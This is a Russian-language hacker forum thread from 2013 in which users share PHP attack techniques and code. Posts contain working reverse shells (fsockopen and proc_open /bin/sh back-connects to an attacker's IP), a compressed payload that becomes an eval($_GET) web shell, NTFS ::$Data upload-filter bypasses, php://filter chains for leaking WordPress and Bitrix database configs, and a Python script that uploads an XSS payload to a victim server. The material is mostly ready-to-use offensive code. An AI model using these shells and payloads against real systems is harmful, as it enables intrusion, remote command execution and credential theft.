Старый 31.03.2013, 18:30   #71
Boolean
 
Регистрация: 19.10.2011
Сообщений: 111
Репутация: 34
По умолчанию

Цитата:
Сообщение от Pashkela Посмотреть сообщение
нашел на просторах бекконект на php, простенький, но рабочий:
В прошлом году из-за срочной надобности подобного бекконекта именно на php пришлось писать свой на коленке, работающий по тому же принципу.
PHP код:
<?php
/**
 * Boolean
 * 2012
 */
define('ISCLI', @php_sapi_name() == 'cli');

if( ! 
ISCLI ){
    if(
$_SERVER['REQUEST_METHOD'] != 'POST' || !isset($_POST['ip']) || empty($_POST['ip']) || !isset($_POST['port']) || empty($_POST['port'])){
        print <<<EOF
   Usage: nc -l -vv -p [port]<br />
   <form method=POST>ip:<input type=text name=ip value=
{$_SERVER['REMOTE_ADDR']} /><br />port:<input type=text name=port value=31337 /><br /><input type=submit value=Enter>
EOF;
        die();
    }
    
    
$bc_ip $_POST['ip'];
    
$bc_port $_POST['port'];    
}else{
    if(
count($argv) != 3){
        die(
"Usage:\nClient: php {$argv[0]} [ip] [port]\nServer: nc -l -vv -p [port]\n");
    }   
    
$bc_ip $argv[1];
    
$bc_port $argv[2];
}

if(! 
function_exists('fsockopen')){
    die(
"fsockopen function is disabled");
}

$socket = @fsockopen($bc_ip$bc_port$errno$errstr20);
if(! 
$socket){
   die(
"fsockopen() error: {$errstr} [{$errno}]"); 
}

@
fwrite($socket"$ ");

while(!@
feof($socket)){
    @
fputs($socket);
    
    
$input = @fgets($socket128);
    
    if(
$input == 'exit'){
        @
fputs($socket"Bye!");
        break;
    }
    
    
$output execute($input);
    if(
$output === false$output "Could not execute command";
    
    @
fputs($socket$output);
    @
fwrite($socket"$ ");
}

@
fclose($socket);

function 
execute($input){                
    if(
function_exists('shell_exec')){
        return @
shell_exec($input);
    }
        
    if(
function_exists('system')){
        
ob_start(); 
        @
system($input);
        return 
ob_get_clean();    
    }
        
    if(
function_exists('exec')){
        
$output "";
        @
exec($input$output);
        return @
implode("\n"$output);
    }
        
    if(
function_exists('passthru')){
        
ob_start();
        @
passthru($input);
        return 
ob_get_clean();
    }
        
    if( 
is_resource$pipe = @popen($input,"r") ) ){
        
$output "";
        while(!@
feof($f)) $output .= @fread($pipe128);
        @
pclose($pipe);
        return 
$output;
    }
    
    return 
false;
}


//end
__________________
|

Последний раз редактировалось Boolean; 31.03.2013 в 18:32..
Boolean вне форума   Ответить с цитированием
Старый 01.04.2013, 12:34   #72
Beched
 
Регистрация: 06.07.2010
Сообщений: 402
Репутация: 118
По умолчанию

Цитата:
Сообщение от wget Посмотреть сообщение
После одного из постов Boolean'a (про disable_functions=function_exists) в твиттере самого заинтересовала альтернатива для function_exists.
Итого получено:
testing.php
PHP код:
global $funexs;
function 
exception_error_handler($errno$errstr$errfile$errline ) {
    if (
strstr($errstr,'array_map() expects') || strstr($errstr,'has been disabled')) { 
        global 
$funexs
        
$funexs false
    } else {
        
//throw new ErrorException($errstr, $errno, 0, $errfile, $errline); - this will terminate script
    
}
}
function 
my_function_exists($funcname) {
    global 
$funexs;
    
$funexs true;
    
set_error_handler("exception_error_handler");
    
array_map($funcname,array());
    if (
$funexs) {
        @
$funcname();
    }
    
restore_error_handler();
    return 
$funexs;
}
print(
var_dump(my_function_exists("asdsadasd")));
print(
var_dump(my_function_exists("time"))); 
Код:
php > print var_dump(function_exists("time"));
PHP Warning:  function_exists() has been disabled for security reasons in php shell code on line 1
NULL
php > print var_dump(is_callable("time"));
PHP Warning:  is_callable() has been disabled for security reasons in php shell code on line 1
NULL
php > include 'testing.php';
bool(false)
bool(true)
php > var_dump(my_function_exists("is_callable"));
bool(false)
Из багов: возвращает true на методы, которые прописаны в disable_functions - исправлено

Ещё есть http://php.net/manual/ru/class.reflectionfunction.php
Например, так:
Код:
php > ReflectionFunction::export('asd');
PHP Warning:  Uncaught exception 'ReflectionException' with message 'Function asd() does not exist' in php shell code:1
Beched вне форума   Ответить с цитированием
Старый 07.04.2013, 07:04   #73
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

cp /test1/. /test2/ -r
адекватно копирует скрытые и открытые файлы и каталоги

или

shopt -s dotglob # for considering dot files (turn on dot files)

and

shopt -u dotglob # for don't considering dot files (turn off dot files)
}{оттабыч вне форума   Ответить с цитированием
Старый 09.05.2013, 18:20   #74
dharrya
 
Аватар для dharrya
 
Регистрация: 13.12.2011
Сообщений: 21
Репутация: 20
По умолчанию

Редко, но php все же запускается под Windows и в таком случае, если загружаемые файлы фильтруются по блек-листу, есть шанс воспользоваться основным NTFS потоком и его аттрибутом $Data для обхода фильтрации:
PHP код:
<?php
$targetFileName 
'test.php';
$uploadedFileName $targetFileName.'::$Data';
if(
preg_match('#\.php[\s\.\/]*(\.|$)#i'$uploadedFileName))
    die(
'Upload blocked!');

@
unlink($targetFileName);
file_put_contents($targetFileName"<?phpinfo();");
include(
$targetFileName);
Не однократно натыкался на то, что php разработчики попросту не знали об этой особенности

Проверенно на php 5.3.2
dharrya вне форума   Ответить с цитированием
Старый 09.05.2013, 18:47   #75
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

include 'echoTest.php::$Data';
и
include 'echoTest.php::$Data.';
под виндой на ntfs эквивалентно
include "echoTest.php";

dharrya
спасибо, пригодится
DrakonHaSh вне форума   Ответить с цитированием
Старый 15.05.2013, 17:23   #76
dharrya
 
Аватар для dharrya
 
Регистрация: 13.12.2011
Сообщений: 21
Репутация: 20
По умолчанию

Может тема ранее обговаривалась, признаться, не нашел. Иногда (встречал в своей жизни буквально пару раз) бывают ситуации, когда ты можешь аплоадить файлы и сжимать их в архив по средству gzdeflate/gzcompress без надлежащей проверки имени результирующего архива. Зачастую это какие-то корп. системы/фотогалереи предлагающие скачать все аттачи одним архивом и т.д. Как раз для такого случая припас необходимую последовательность, которая при сжатии (с стандартным уровнем) станет дееспособным php скриптом вида:
PHP код:
;<script
language
=PHP >//a
phpinfo(eval($_GET['c']));/*&·ЂH 
Тест и сам файлик можно найти на гитхабе: https://github.com/dharrya/pocs/tree/master/gzdeflate
Более подробно можно почитать тут: http://dharrya-lab.blogspot.ru/2013/06/gzdeflate-php.html

Последний раз редактировалось dharrya; 01.06.2013 в 13:02.. Причина: добавил развернутое описание
dharrya вне форума   Ответить с цитированием
Старый 21.05.2013, 19:19   #77
it's my
 
Регистрация: 06.07.2010
Сообщений: 39
Репутация: 11
По умолчанию

Цитата:
Сообщение от Pashkela Посмотреть сообщение
нашел на просторах бекконект на php, простенький, но рабочий:

PHP код:
echo "<br><b>ZoRBaCK Connect<br> 
            Usage: nc -vv -l -p 21<br>
            <hr> 
            <form method='POST' action=''><br> 
            Your IP & Port:<br> 
            <input type='text' name='ipim' size='15' value=''>
            <input type='text' name='portum' size='5' value='21'><br><br> 
            <input type='submit' value='Connect'><br><br>
            <hr>
            </form>"

            
         
$ipim=$_POST['ipim']; 
         
$portum=$_POST['portum']; 
         if (
$ipim <> ""
         { 
         
$mucx=fsockopen($ipim $portum $errno$errstr ); 
         if (!
$mucx){ 
               
$result "Error: didnt connect !!!"
         } 
         else { 
         
         
$zamazing0="\n";
                  
         
fputs ($mucx ,"\nwelcome ZoRBaCK\n\n");
         
fputs($mucx system("uname -a") .$zamazing0 );
         
fputs($mucx system("pwd") .$zamazing0 );
         
fputs($mucx system("id") .$zamazing0.$zamazing0 );
         while(!
feof($mucx)){  
       
fputs ($mucx); 
       
$one="[$";
       
$two="]";
       
$resultfgets ($mucx8192); 
      
$message=`$result`; 
       
fputs ($mucx$onesystem("whoami") .$two" " .$message."\n"); 
      } 
      
fclose ($mucx); 
         } 
         } 
PHP код:
$tty false;
umask(0);
if(
$s=fsockopen("server""port",$n,$n)){
    if(
$x proc_open($tty?"python -c \"import pty; pty.spawn(\\\"/bin/bash\\\")\"":"/bin/sh -i",array(array("pipe","r"),array("pipe","w"),array("pipe","w")),$p,getcwd())){
        
stream_set_blocking($p[0],0);stream_set_blocking($p[1],0);stream_set_blocking($p[2],0);stream_set_blocking($s,0);
        while(
true){
            if(
feof($s))die("Remote server closed the connection");
            if(
feof($p[1]))die("Shell stopped responding");
            
$r=array($s,$p[1],$p[2]);stream_select($r,$n,$n,null);
            if(
in_array($s,$r))fwrite($p[0],fread($s,1024));
            if(
in_array($p[1],$r))fwrite($s,fread($p[1],1024));
            if(
in_array($p[2],$r))fwrite($s,fread($p[2],1024));
        } 
fclose($p[0]);fclose($p[1]);fclose($p[2]);proc_close($x);
} else die(
"proc_open disabled");} else die("Unable to connect"); 
с поддержкой tty

Последний раз редактировалось it's my; 21.05.2013 в 19:26..
it's my вне форума   Ответить с цитированием
Старый 22.05.2013, 02:36   #78
dharrya
 
Аватар для dharrya
 
Регистрация: 13.12.2011
Сообщений: 21
Репутация: 20
По умолчанию

Обход getimagesize с использованием враппера php://filter: https://github.com/dharrya/pocs/tree/master/getimage_bypass
Пока только первые прототипы, есть два работающих варианта которые мне пришли в голову и опробованны на бою...
первый:
PHP код:
<?
header
("Content-Type: text/plain");

//WordPress Config file
$filePath =  "test_configs/wp-config.php";
//or Bitrix DB connection file
// $filePath =  "test_configs/bitrix-dbconn.php";

$filters "convert.quoted-printable-encode|convert.iconv.CP1254%2FUNICODEBIG|convert.base64-encode|convert.iconv.CP1254%2FUNICODEBIG|convert.base64-encode|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode|string.rot13|convert.base64-decode";

$fileUri "php://filter/$filters/resource=$filePath";
echo 
"getimagesize output: ".print_r(getimagesize($fileUri), true)."\r\n";

echo 
"and decoded source:\r\n";
$encodedSource file_get_contents($fileUri);
$originalSource base64_encode($encodedSource);
$originalSource str_rot13($originalSource);
$originalSource base64_decode($originalSource);
$originalSource str_rot13($originalSource);
$originalSource base64_encode($originalSource);
$originalSource str_rot13($originalSource);
$originalSource base64_decode($originalSource);
$originalSource str_replace("\x00"""$originalSource);
$originalSource base64_decode($originalSource);
$originalSource str_replace("\x00""",$originalSource);
echo 
$originalSource quoted_printable_decode($originalSource);
И второй:
PHP код:
var_dump(getimagesize("php://filter/string.toupper|convert.iconv.UTF8%2FIBM4899%2F%2FTRANSLIT|string.rot13|convert.quoted-printable-encode|convert.iconv.UTF8%2FIBM4899%2F%2FTRANSLIT|convert.iconv.WINDOWS-936%2FCP1388|convert.base64-encode|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode|string.rot13|string.toupper/resource=$filePath")); 
Первый очень удобно декодировать обратно в читабильный php код, но работает далеко не во всех случаях. Можно использовать если есть возможность воссоздать необходимые условия для локальных тестов (к примеру в случае с конфигами CMS/CMF). Лично проверял на вордпрессе и 1С-Битрикс, оба примера есть на гитхабе. Второй же работает во всех тестируемых мной случаях, но декодировать жутко не удобно хоть и вполне реально.

Если у кого-то есть наработки в этом направлении - буду очень рад услышать, тема достаточно актуальна

Последний раз редактировалось dharrya; 22.05.2013 в 10:09..
dharrya вне форума   Ответить с цитированием
Старый 03.06.2013, 11:15   #79
dharrya
 
Аватар для dharrya
 
Регистрация: 13.12.2011
Сообщений: 21
Репутация: 20
По умолчанию

Как известно у PHP (тестил на 5.3.2-5.3.10, 5.4.0-5.4.7) есть небольшой изъян при обработке суперглобального массива $_FILES - в name и type не отфильтровывается \r, а следовательно если кто-то сохраняет оригинальный mime-type загружаемого файла и без всякой фильтрации потом его отдает...
На php < 5.3.11 (или 5.3.14?) - HTTP response splitting используя \r в name и type
На php >= 5.3.11 - XSS, т.к. не будет установлен заголовок содержащий корректный Content-Type и файл будет отдан с Content-Type по умолчанию, который скорее всего окажется text/html
Для этого написал простенький скриптик, который формирует POST запрос и отправляет его жертве:
PHP код:
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-
import sys
import socket
import ssl
import re


class FileSender:
    
_fileName 'test.gif'
    
_fieldName 'file'
    
_fileType 'image/jpeg\rany'

    
def send(selfurlfileName=_fileNamefileType=_fileTypefieldName=_fieldName):
        
uploadUriInfo self.getUriInfo(url)
        
fileContent 'GIF89\r\n<html><script>prompt(/XSS/)</script></html>'
        
body = [
            
self._getMultipartFileData(fieldNamefileNamefileTypefileContent),
            
'--' self._getBoundary() + '--\r\n\r\n'
        
]
        
bodyString '\r\n'.join(body)

        
request 'POST %s HTTP/1.0\r\n' uploadUriInfo['path']
        
request += 'Host: %s\r\n' uploadUriInfo['host']
        
request += 'Content-Type: multipart/form-data; boundary=%s\r\n' self._getBoundary()
        
request += 'Content-Length: %d\r\n' len(bodyString)
        
request += '\r\n'
        
request += '\r\n'
        
request += bodyString

        
return self._socketRequest(
            
uploadUriInfo['scheme'],
            
uploadUriInfo['host'],
            
uploadUriInfo['port'],
            
request
        
)

    
def getUriInfo(selfuri):
        
'(?P<scheme>http.?)?(?:://)?(?P<host>[^:/ ]+):?(?P<port>[0-9]*)(?P<path>.*)'
        
re.search(puri)
        
scheme m.group('scheme') if m.group('scheme') != '' else 'http'
        
host m.group('host')
        
port int(m.group('port')) if m.group('port') != '' else 443 if m.group('scheme') == 'https' else 80
        path 
m.group('path') if m.group('path') != '' else '/'
        
return {
            
'scheme'scheme,
            
'host'host,
            
'port'port,
            
'path'path
        
}

    
def _getSocketForScheme(selfscheme):
        
sock socket.socket(socket.AF_INETsocket.SOCK_STREAM)
        if 
scheme == 'https':
            return 
ssl.wrap_socket(sock)
        else:
            return 
sock

    def _socketRequest
(selfschemehostportpayload):
        
socket self._getSocketForScheme(scheme)
        
socket.connect((hostport))
        
socket.sendall(payload)
        
data socket.recv(1024)
        
socket.close()
        return 
data

    def _getBoundary
(self):
        return 
'---------------------------435836722131556084433303325'

    
def _getMultipartData(selfnamedata):
        
result '--'
        
result += self._getBoundary()
        
result += '\r\n'
        
result += 'Content-Disposition: form-data; name="%s"' name
        result 
+= '\r\n'
        
result += '\r\n'
        
result += data
        
return result

    def _getMultipartFileData
(selfnamefileNamecontentTypecontent):
        
result '--'
        
result += self._getBoundary()
        
result += '\r\n'
        
result += 'Content-Disposition: form-data; name="%s"; filename="%s"' % (namefileName)
        
result += '\r\n'
        
result += 'Content-Type: %s' contentType
        result 
+= '\r\n'
        
result += '\r\n'
        
result += content
        
return result


if __name__ == '__main__':
    
response FileSender().send(url='http://_victim_/upload.php')
    print(
response
Естественно, если загруженные файлы не отдаются php скриптом то зачастую дело еще проще
Можно воспользоваться type-map для Apache, который включен по дефолту. e.g. "test.var.gif" отдать как text/html
Можно поискать ошибки валидации графический расширений файла, например, "test.html.jpg "

Не забываем про IE и его MIME sniffing, ресурсов без установки nosniff все еще хватает

Последний раз редактировалось dharrya; 04.06.2013 в 02:32..
dharrya вне форума   Ответить с цитированием
Старый 26.06.2013, 23:28   #80
Untitled
 
Аватар для Untitled
 
Регистрация: 24.06.2012
Сообщений: 131
Репутация: 30
По умолчанию

Иногда еще попадаются сервера с PHP с неудобным конфигом (например, open_basedir), но с возможностью исполнять команды. Тогда это решается с помощью suid-wso:
Код:
Suid: /bin/sh
Password: -c
Php: /usr/local/bin/php -n
Untitled вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot